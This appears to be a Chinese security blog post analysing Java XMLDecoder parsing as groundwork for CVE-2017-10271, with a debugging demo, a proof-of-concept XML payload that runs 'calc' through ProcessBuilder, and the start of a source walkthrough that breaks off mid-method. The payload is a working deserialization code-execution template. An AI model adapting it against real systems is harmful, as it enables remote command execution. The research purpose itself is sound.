XMLDecoder解析流程分析
最开始是准备入手CVE-2017-10271的,结果百度搜了很多文章都是到MXLDecoder.readObject()
就结束了。而我在此之前并没有接触过XMLDecoder,所以只能回头补课了。
首先写一个Demo进行调试
XMLDecoderDemo01
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;
public class XMLDecoderDemo01 {
public static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xd = new XMLDecoder(bis);
xd.readObject(); // 在这打断点
xd.close();
}
public static void main(String[] args){
//XMLDecode Deserialize Test
String path = System.getProperty("user.dir") + "\\src\\pocDemo01.xml";
try {
XMLDecode_Deserialize(path);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后就是xml文档了。
pocDemo01.xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
</java>
非常简单的一个xml文档,通过ProcessBuilder
启动计算器calc。
过程分析
进入debug模式,首先进入眼帘的是DocumentHandler.parse()
方法,可以通过调用栈找到。
//DocumentHandler.java
public void parse(final InputSource var1) {
if (this.acc == null && null != System.getSecurityManager()) {
throw new SecurityException("AccessControlContext is not set");
} else {
AccessControlContext var2 = AccessController.getContext();
SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
public Void run() {
try {